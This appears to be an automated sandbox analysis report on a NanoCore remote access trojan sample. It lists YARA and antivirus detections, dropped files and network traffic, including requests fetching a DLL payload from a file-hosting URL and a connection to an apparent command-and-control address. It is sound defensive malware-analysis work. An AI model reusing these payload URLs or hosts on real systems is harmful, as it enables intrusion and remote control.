10.2.dhcpmon.exe.3f8df50.3.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
10.2.dhcpmon.exe.3f8df50.3.raw.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfef5:$a: NanoCore 0xff05:$a: NanoCore 0x10139:$a: NanoCore 0x1014d:$a: NanoCore 0x1018d:$a: NanoCore 0xff54:$b: ClientPlugin 0x10156:$b: ClientPlugin 0x10196:$b: ClientPlugin 0x1007b:$c: ProjectData 0x10a82:$d: DESCrypto 0x1844e:$e: KeepAlive 0x1643c:$g: LogClientMessage 0x12637:$i: get_Connected 0x10db8:$j: #=q 0x10de8:$j: #=q 0x10e04:$j: #=q 0x10e34:$j: #=q 0x10e50:$j: #=q 0x10e6c:$j: #=q 0x10e9c:$j: #=q 0x10eb8:$j: #=q
4.2.FYrMKmDjFi.exe.5864629.9.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xb184:$x1: NanoCore.ClientPluginHost 0xb1b1:$x2: IClientNetworkHost
4.2.FYrMKmDjFi.exe.5864629.9.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xb184:$x2: NanoCore.ClientPluginHost 0xc25f:$s4: PipeCreated 0xb19e:$s5: IClientLoggingHost
4.2.FYrMKmDjFi.exe.5864629.9.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
10.2.dhcpmon.exe.2f14ff4.1.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xe38d:$x1: NanoCore.ClientPluginHost 0xe3ca:$x2: IClientNetworkHost 0x11efd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
10.2.dhcpmon.exe.2f14ff4.1.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xe105:$x1: NanoCore Client.exe 0xe38d:$x2: NanoCore.ClientPluginHost 0xf9c6:$s1: PluginCommand 0xf9ba:$s2: FileCommand 0x1086b:$s3: PipeExists 0xe3b7:$s5: IClientLoggingHost
10.2.dhcpmon.exe.2f14ff4.1.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xe0f5:$a: NanoCore 0xe105:$a: NanoCore 0xe339:$a: NanoCore 0xe34d:$a: NanoCore 0xe38d:$a: NanoCore 0xe154:$b: ClientPlugin 0xe356:$b: ClientPlugin 0xe396:$b: ClientPlugin 0xe27b:$c: ProjectData 0xec82:$d: DESCrypto 0x10837:$i: get_Connected 0xefb8:$j: #=q 0xefe8:$j: #=q 0xf004:$j: #=q 0xf034:$j: #=q 0xf050:$j: #=q 0xf06c:$j: #=q 0xf09c:$j: #=q 0xf0b8:$j: #=q 0xf0fc:$j: #=q 0xf118:$j: #=q
9.2.FYrMKmDjFi.exe.26a479c.1.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xe38d:$x1: NanoCore.ClientPluginHost 0xe3ca:$x2: IClientNetworkHost 0x11efd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
9.2.FYrMKmDjFi.exe.26a479c.1.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xe105:$x1: NanoCore Client.exe 0xe38d:$x2: NanoCore.ClientPluginHost 0xf9c6:$s1: PluginCommand 0xf9ba:$s2: FileCommand 0x1086b:$s3: PipeExists 0xe3b7:$s5: IClientLoggingHost
9.2.FYrMKmDjFi.exe.26a479c.1.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xe0f5:$a: NanoCore 0xe105:$a: NanoCore 0xe339:$a: NanoCore 0xe34d:$a: NanoCore 0xe38d:$a: NanoCore 0xe154:$b: ClientPlugin 0xe356:$b: ClientPlugin 0xe396:$b: ClientPlugin 0xe27b:$c: ProjectData 0xec82:$d: DESCrypto 0x10837:$i: get_Connected 0xefb8:$j: #=q 0xefe8:$j: #=q 0xf004:$j: #=q 0xf034:$j: #=q 0xf050:$j: #=q 0xf06c:$j: #=q 0xf09c:$j: #=q 0xf0b8:$j: #=q 0xf0fc:$j: #=q 0xf118:$j: #=q
4.2.FYrMKmDjFi.exe.2f5cd28.2.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xe75:$x1: NanoCore.ClientPluginHost 0xe8f:$x2: IClientNetworkHost
4.2.FYrMKmDjFi.exe.2f5cd28.2.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xe75:$x2: NanoCore.ClientPluginHost 0x1261:$s3: PipeExists 0x1136:$s4: PipeCreated 0xeb0:$s5: IClientLoggingHost
10.3.dhcpmon.exe.4112080.1.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1018d:$x1: NanoCore.ClientPluginHost 0x101ca:$x2: IClientNetworkHost 0x13cfd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
10.3.dhcpmon.exe.4112080.1.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xff05:$x1: NanoCore Client.exe 0x1018d:$x2: NanoCore.ClientPluginHost 0x117c6:$s1: PluginCommand 0x117ba:$s2: FileCommand 0x1266b:$s3: PipeExists 0x18422:$s4: PipeCreated 0x101b7:$s5: IClientLoggingHost
10.3.dhcpmon.exe.4112080.1.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
10.3.dhcpmon.exe.4112080.1.raw.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfef5:$a: NanoCore 0xff05:$a: NanoCore 0x10139:$a: NanoCore 0x1014d:$a: NanoCore 0x1018d:$a: NanoCore 0xff54:$b: ClientPlugin 0x10156:$b: ClientPlugin 0x10196:$b: ClientPlugin 0x1007b:$c: ProjectData 0x10a82:$d: DESCrypto 0x1844e:$e: KeepAlive 0x1643c:$g: LogClientMessage 0x12637:$i: get_Connected 0x10db8:$j: #=q 0x10de8:$j: #=q 0x10e04:$j: #=q 0x10e34:$j: #=q 0x10e50:$j: #=q 0x10e6c:$j: #=q 0x10e9c:$j: #=q 0x10eb8:$j: #=q
12.2.FYrMKmDjFi.exe.41db78e.3.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xe75:$x1: NanoCore.ClientPluginHost 0x145e3:$x1: NanoCore.ClientPluginHost 0x2d5f7:$x1: NanoCore.ClientPluginHost 0xe8f:$x2: IClientNetworkHost 0x14610:$x2: IClientNetworkHost 0x2d624:$x2: IClientNetworkHost
12.2.FYrMKmDjFi.exe.41db78e.3.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xe75:$x2: NanoCore.ClientPluginHost 0x145e3:$x2: NanoCore.ClientPluginHost 0x2d5f7:$x2: NanoCore.ClientPluginHost 0x1261:$s3: PipeExists 0x1136:$s4: PipeCreated 0x156be:$s4: PipeCreated 0x2e6d2:$s4: PipeCreated 0xeb0:$s5: IClientLoggingHost 0x145fd:$s5: IClientLoggingHost 0x2d611:$s5: IClientLoggingHost
12.2.FYrMKmDjFi.exe.41db78e.3.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
12.2.FYrMKmDjFi.exe.41db78e.3.raw.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xddf:$a: NanoCore 0xe38:$a: NanoCore 0xe75:$a: NanoCore 0xeee:$a: NanoCore 0x14599:$a: NanoCore 0x145ae:$a: NanoCore 0x145e3:$a: NanoCore 0x2d5ad:$a: NanoCore 0x2d5c2:$a: NanoCore 0x2d5f7:$a: NanoCore 0xe41:$b: ClientPlugin 0xe7e:$b: ClientPlugin 0x177c:$b: ClientPlugin 0x1789:$b: ClientPlugin 0x14355:$b: ClientPlugin 0x14370:$b: ClientPlugin 0x143a0:$b: ClientPlugin 0x145b7:$b: ClientPlugin 0x145ec:$b: ClientPlugin 0x2d369:$b: ClientPlugin 0x2d384:$b: ClientPlugin
0.3.FYrMKmDjFi.exe.3f80f30.1.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1018d:$x1: NanoCore.ClientPluginHost 0x101ca:$x2: IClientNetworkHost 0x13cfd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
0.3.FYrMKmDjFi.exe.3f80f30.1.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xff05:$x1: NanoCore Client.exe 0x1018d:$x2: NanoCore.ClientPluginHost 0x117c6:$s1: PluginCommand 0x117ba:$s2: FileCommand 0x1266b:$s3: PipeExists 0x18422:$s4: PipeCreated 0x101b7:$s5: IClientLoggingHost
0.3.FYrMKmDjFi.exe.3f80f30.1.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0.3.FYrMKmDjFi.exe.3f80f30.1.raw.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfef5:$a: NanoCore 0xff05:$a: NanoCore 0x10139:$a: NanoCore 0x1014d:$a: NanoCore 0x1018d:$a: NanoCore 0xff54:$b: ClientPlugin 0x10156:$b: ClientPlugin 0x10196:$b: ClientPlugin 0x1007b:$c: ProjectData 0x10a82:$d: DESCrypto 0x1844e:$e: KeepAlive 0x1643c:$g: LogClientMessage 0x12637:$i: get_Connected 0x10db8:$j: #=q 0x10de8:$j: #=q 0x10e04:$j: #=q 0x10e34:$j: #=q 0x10e50:$j: #=q 0x10e6c:$j: #=q 0x10e9c:$j: #=q 0x10eb8:$j: #=q
9.2.FYrMKmDjFi.exe.26a479c.1.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1018d:$x1: NanoCore.ClientPluginHost 0x101ca:$x2: IClientNetworkHost 0x13cfd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
9.2.FYrMKmDjFi.exe.26a479c.1.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xff05:$x1: NanoCore Client.exe 0x1018d:$x2: NanoCore.ClientPluginHost 0x117c6:$s1: PluginCommand 0x117ba:$s2: FileCommand 0x1266b:$s3: PipeExists 0x101b7:$s5: IClientLoggingHost
9.2.FYrMKmDjFi.exe.26a479c.1.raw.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfef5:$a: NanoCore 0xff05:$a: NanoCore 0x10139:$a: NanoCore 0x1014d:$a: NanoCore 0x1018d:$a: NanoCore 0xff54:$b: ClientPlugin 0x10156:$b: ClientPlugin 0x10196:$b: ClientPlugin 0x1007b:$c: ProjectData 0x10a82:$d: DESCrypto 0x12637:$i: get_Connected 0x10db8:$j: #=q 0x10de8:$j: #=q 0x10e04:$j: #=q 0x10e34:$j: #=q 0x10e50:$j: #=q 0x10e6c:$j: #=q 0x10e9c:$j: #=q 0x10eb8:$j: #=q 0x10efc:$j: #=q 0x10f18:$j: #=q
14.2.dhcpmon.exe.3f005c4.4.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xd9ad:$x1: NanoCore.ClientPluginHost 0xd9da:$x2: IClientNetworkHost
14.2.dhcpmon.exe.3f005c4.4.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xd9ad:$x2: NanoCore.ClientPluginHost 0xea88:$s4: PipeCreated 0xd9c7:$s5: IClientLoggingHost
14.2.dhcpmon.exe.3f005c4.4.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
13.3.dhcpmon.exe.3b20108.1.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xe38d:$x1: NanoCore.ClientPluginHost 0xe3ca:$x2: IClientNetworkHost 0x11efd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
13.3.dhcpmon.exe.3b20108.1.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xe105:$x1: NanoCore Client.exe 0xe38d:$x2: NanoCore.ClientPluginHost 0xf9c6:$s1: PluginCommand 0xf9ba:$s2: FileCommand 0x1086b:$s3: PipeExists 0x16622:$s4: PipeCreated 0xe3b7:$s5: IClientLoggingHost
13.3.dhcpmon.exe.3b20108.1.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
13.3.dhcpmon.exe.3b20108.1.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xe0f5:$a: NanoCore 0xe105:$a: NanoCore 0xe339:$a: NanoCore 0xe34d:$a: NanoCore 0xe38d:$a: NanoCore 0xe154:$b: ClientPlugin 0xe356:$b: ClientPlugin 0xe396:$b: ClientPlugin 0xe27b:$c: ProjectData 0xec82:$d: DESCrypto 0x1664e:$e: KeepAlive 0x1463c:$g: LogClientMessage 0x10837:$i: get_Connected 0xefb8:$j: #=q 0xefe8:$j: #=q 0xf004:$j: #=q 0xf034:$j: #=q 0xf050:$j: #=q 0xf06c:$j: #=q 0xf09c:$j: #=q 0xf0b8:$j: #=q
14.2.dhcpmon.exe.2f19620.2.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xe75:$x1: NanoCore.ClientPluginHost 0xe8f:$x2: IClientNetworkHost
14.2.dhcpmon.exe.2f19620.2.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xe75:$x2: NanoCore.ClientPluginHost 0x1261:$s3: PipeExists 0x1136:$s4: PipeCreated 0xeb0:$s5: IClientLoggingHost
13.3.dhcpmon.exe.3b22fb8.0.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xb4dd:$x1: NanoCore.ClientPluginHost 0xb51a:$x2: IClientNetworkHost 0xf04d:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
13.3.dhcpmon.exe.3b22fb8.0.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
13.3.dhcpmon.exe.3b22fb8.0.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xb245:$a: NanoCore 0xb255:$a: NanoCore 0xb489:$a: NanoCore 0xb49d:$a: NanoCore 0xb4dd:$a: NanoCore 0xb2a4:$b: ClientPlugin 0xb4a6:$b: ClientPlugin 0xb4e6:$b: ClientPlugin 0xb3cb:$c: ProjectData 0xbdd2:$d: DESCrypto 0x1379e:$e: KeepAlive 0x1178c:$g: LogClientMessage 0xd987:$i: get_Connected 0xc108:$j: #=q 0xc138:$j: #=q 0xc154:$j: #=q 0xc184:$j: #=q 0xc1a0:$j: #=q 0xc1bc:$j: #=q 0xc1ec:$j: #=q 0xc208:$j: #=q
12.2.FYrMKmDjFi.exe.31f9668.2.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xe75:$x1: NanoCore.ClientPluginHost 0xe8f:$x2: IClientNetworkHost
12.2.FYrMKmDjFi.exe.31f9668.2.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xe75:$x2: NanoCore.ClientPluginHost 0x1261:$s3: PipeExists 0x1136:$s4: PipeCreated 0xeb0:$s5: IClientLoggingHost
14.2.dhcpmon.exe.3f005c4.4.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xf7ad:$x1: NanoCore.ClientPluginHost 0x287c1:$x1: NanoCore.ClientPluginHost 0xf7da:$x2: IClientNetworkHost 0x287ee:$x2: IClientNetworkHost
14.2.dhcpmon.exe.3f005c4.4.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xf7ad:$x2: NanoCore.ClientPluginHost 0x287c1:$x2: NanoCore.ClientPluginHost 0x10888:$s4: PipeCreated 0x2989c:$s4: PipeCreated 0xf7c7:$s5: IClientLoggingHost 0x287db:$s5: IClientLoggingHost
14.2.dhcpmon.exe.3f005c4.4.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
14.2.dhcpmon.exe.3f04bed.5.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xb184:$x1: NanoCore.ClientPluginHost 0x24198:$x1: NanoCore.ClientPluginHost 0xb1b1:$x2: IClientNetworkHost 0x241c5:$x2: IClientNetworkHost
14.2.dhcpmon.exe.3f04bed.5.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xb184:$x2: NanoCore.ClientPluginHost 0x24198:$x2: NanoCore.ClientPluginHost 0xc25f:$s4: PipeCreated 0x25273:$s4: PipeCreated 0xb19e:$s5: IClientLoggingHost 0x241b2:$s5: IClientLoggingHost
14.2.dhcpmon.exe.3f04bed.5.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
Click to see the 153 entries

Sigma Overview

AV Detection:

Sigma detected: NanoCore

Show sources

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe, ProcessId: 4324, TargetFilename: C:\Users\user\AppData\Roaming\D06ED635-68F6-4E9A-955C-4899F5F57B9A\run.dat

E-Banking Fraud:

Sigma detected: NanoCore

Show sources

Source: File created

Stealing of Sensitive Information:

Sigma detected: NanoCore

Show sources

Source: File created

Remote Access Functionality:

Sigma detected: NanoCore

Show sources

Source: File created

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Multi AV Scanner detection for submitted file

Show sources

Source: FYrMKmDjFi.exe

Virustotal: Detection: 23%

Perma Link

Yara detected Nanocore RAT

Show sources

Source: Yara match	File source: 0.2.FYrMKmDjFi.exe.3dfce00.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.dhcpmon.exe.3f8df50.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.dhcpmon.exe.3cf4bed.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.FYrMKmDjFi.exe.3dfce00.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.FYrMKmDjFi.exe.3f84bed.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.FYrMKmDjFi.exe.371d858.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.FYrMKmDjFi.exe.371d858.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.3.FYrMKmDjFi.exe.38a1988.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.dhcpmon.exe.3efb78e.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.FYrMKmDjFi.exe.3f7b78e.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.dhcpmon.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.FYrMKmDjFi.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.dhcpmon.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.FYrMKmDjFi.exe.3f805c4.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.dhcpmon.exe.3cf05c4.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.FYrMKmDjFi.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.FYrMKmDjFi.exe.5860000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.dhcpmon.exe.3ceb78e.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.FYrMKmDjFi.exe.41e4bed.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.dhcpmon.exe.3b20108.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.FYrMKmDjFi.exe.41e05c4.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.FYrMKmDjFi.exe.3f805c4.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.FYrMKmDjFi.exe.41e05c4.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.FYrMKmDjFi.exe.5860000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.dhcpmon.exe.3cf05c4.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.dhcpmon.exe.3f8df50.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.FYrMKmDjFi.exe.5864629.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.3.dhcpmon.exe.4112080.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.FYrMKmDjFi.exe.41db78e.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.FYrMKmDjFi.exe.3f80f30.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.dhcpmon.exe.3f005c4.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.dhcpmon.exe.3b20108.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.dhcpmon.exe.3b22fb8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.dhcpmon.exe.3f005c4.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.dhcpmon.exe.3f04bed.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.358733206.000000000399C000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.376193439.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.339345544.000000000371D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.559219526.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.308296002.0000000003C99000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.308727184.0000000003DFC000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.353322483.0000000003AF8000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.357019019.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.341983830.0000000003E29000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.377764410.0000000003CA9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.359270670.0000000003EB9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.342288070.0000000003F8D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.563611472.0000000002F31000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.332140109.000000000387A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.564355540.0000000003F39000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.357888329.0000000003839000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.353412885.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.336697270.00000000040EA000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.304968970.0000000003F59000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.567502998.0000000005860000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.354909333.0000000004199000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.358914418.0000000002EB1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.338511027.00000000035B9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.377395934.0000000002CA1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.354775896.0000000003191000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: FYrMKmDjFi.exe PID: 6504, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: FYrMKmDjFi.exe PID: 4324, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: FYrMKmDjFi.exe PID: 6112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: dhcpmon.exe PID: 6664, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: FYrMKmDjFi.exe PID: 6816, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: dhcpmon.exe PID: 6916, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: dhcpmon.exe PID: 4700, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: dhcpmon.exe PID: 5656, type: MEMORYSTR

Machine Learning detection for sample

Show sources

Source: FYrMKmDjFi.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Joe Sandbox ML: detected

Source: 14.2.dhcpmon.exe.400000.0.unpack	Avira: Label: TR/Dropper.MSIL.Gen7
Source: 15.2.dhcpmon.exe.400000.0.unpack	Avira: Label: TR/Dropper.MSIL.Gen7
Source: 4.2.FYrMKmDjFi.exe.400000.0.unpack	Avira: Label: TR/Dropper.MSIL.Gen7
Source: 12.2.FYrMKmDjFi.exe.400000.0.unpack	Avira: Label: TR/Dropper.MSIL.Gen7
Source: 4.2.FYrMKmDjFi.exe.5860000.8.unpack	Avira: Label: TR/NanoCore.fadte

Source: FYrMKmDjFi.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: unknown	HTTPS traffic detected: 31.14.69.10:443 -> 192.168.2.3:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 31.14.69.10:443 -> 192.168.2.3:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 31.14.69.10:443 -> 192.168.2.3:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 31.14.69.10:443 -> 192.168.2.3:49752 version: TLS 1.2

Source: FYrMKmDjFi.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source: global traffic	HTTP traffic detected: GET /download/6f4c6241-0142-4b69-a781-3b6b1e13dbb5/Dlbylzwmcmem.dll HTTP/1.1Host: store2.gofile.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download/6f4c6241-0142-4b69-a781-3b6b1e13dbb5/Dlbylzwmcmem.dll HTTP/1.1Host: store2.gofile.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download/6f4c6241-0142-4b69-a781-3b6b1e13dbb5/Dlbylzwmcmem.dll HTTP/1.1Host: store2.gofile.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download/6f4c6241-0142-4b69-a781-3b6b1e13dbb5/Dlbylzwmcmem.dll HTTP/1.1Host: store2.gofile.ioConnection: Keep-Alive

Source: global traffic

TCP traffic: 192.168.2.3:49747 -> 91.121.250.249:5654

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746

Source: FYrMKmDjFi.exe, 00000009.00000002.337494217.000000000089B000.00000004.00000020.sdmp, dhcpmon.exe, 0000000A.00000002.340926033.0000000001264000.00000004.00000020.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: FYrMKmDjFi.exe, 00000000.00000002.307882153.0000000002C91000.00000004.00000001.sdmp, FYrMKmDjFi.exe, 00000004.00000002.563611472.0000000002F31000.00000004.00000001.sdmp, FYrMKmDjFi.exe, 00000009.00000002.337961314.00000000025B1000.00000004.00000001.sdmp, dhcpmon.exe, 0000000A.00000002.341541167.0000000002E21000.00000004.00000001.sdmp, dhcpmon.exe, 0000000D.00000002.357144491.0000000002831000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: FYrMKmDjFi.exe, 00000000.00000002.307882153.0000000002C91000.00000004.00000001.sdmp, FYrMKmDjFi.exe, 00000009.00000002.337961314.00000000025B1000.00000004.00000001.sdmp, dhcpmon.exe, 0000000A.00000002.341541167.0000000002E21000.00000004.00000001.sdmp, dhcpmon.exe, 0000000D.00000002.357144491.0000000002831000.00000004.00000001.sdmp	String found in binary or memory: https://store2.gofile.io
